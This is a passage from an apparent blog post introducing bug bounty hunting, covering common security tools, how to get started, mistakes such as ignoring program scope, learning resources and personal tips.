Bug bounty hunting often requires a combination of manual techniques and automated tools. Here are some commonly used tools:

Reconnaissance tools:

• Amass: Gathers subdomain information for target identification.
• Sublist3r: Automates subdomain enumeration.

Web application testing tools:

• Burp Suite: A powerful tool for testing web applications, with features like scanning and proxying requests.
• OWASP ZAP: An open-source alternative to Burp Suite.

Automation:

• Pwntools: A Python library I often use for automating interactions with remote services.

Other tools:

• Wireshark: For network packet analysis.
• Nmap: For scanning and enumerating network services.

Each of these tools has a learning curve, but once mastered, they can be highly effective in bug bounty hunting.

6. Getting Started as a Bug Hunter

Starting as a bug hunter can be overwhelming, but with the right approach, you can gradually build your skills. Here are a few steps to get started:

• Learning resources: Begin by taking online courses (like the ones on Udemy or Coursera) and reading books about web application security and vulnerabilities.
• Join platforms: Platforms like HackerOne and Bugcrowd offer a range of programs, from beginner-friendly to advanced.
• Practice: Play Capture the Flag (CTF) challenges on platforms like Hack The Box and TryHackMe to sharpen your skills.
• Stay patient: Bug hunting requires persistence. Many experienced hunters go through several targets before finding a valid bug.

7. Mistakes to Avoid

When you’re starting out, it’s easy to make mistakes. Here are some common pitfalls:

• Ignoring program scope: Always read and understand the program rules to avoid hunting in out-of-scope areas.
• Causing outages: Be cautious with aggressive testing, as actions like DDoSing can crash servers.
• Poor reporting: Make sure your reports are well-written, with clear reproduction steps. Submitting vague reports may lead to rejections.

Avoiding these mistakes will help you build a solid reputation in the bug bounty community.

8. Resources for Learning Bug Bounty Hunting

Here are some excellent resources for learning and improving your bug hunting skills:

Books:

• [Bug Bounty Hunting Essentials: Quick-paced guide to help white-hat hackers get through bug bounty programs](https://www.amazon.com/dp/1788626893?tag=savvyprogrammer-20&linkCode=ogi&th=1&psc=1 "Bug Bounty Hunting Essentials: Quick-paced guide to help white-hat hackers get through bug bounty programs")
• [Real-World Bug Hunting: A Field Guide to Web Hacking](https://www.amazon.com/dp/1593278616?tag=savvyprogrammer-20&linkCode=ogi&th=1&psc=1 "Real-World Bug Hunting: A Field Guide to Web Hacking")

Online Communities:

• Twitter (#bugbounty) for networking.
• Reddit’s bug bounty community.

CTF platforms:

• Hack The Box and TryHackMe: These platforms offer practical, hands-on challenges that simulate real-world environments.

9. My Personal Tips and Insights

As someone who has been hunting for bugs for a while, I’ve picked up a few things that might help you:

Be thorough: Don’t rush through testing. Dig deep into the application’s functionality to uncover hidden bugs.

• Stay organized: Keep notes of your findings and methodologies. It will help in writing better reports.
• Don’t be discouraged by duplicates: Many bugs are found by multiple hunters, but duplicates are part of the process. Keep going!

10. Conclusion

Bug bounty hunting is a rewarding career path and hobby that allows you to hone your skills and make the internet safer. By continuously learning, practicing, and collaborating with the community, you can become a successful bug hunter.

If you’re interested in more tips and resources, feel free to follow me on my blog or Linked-In. Happy hunting!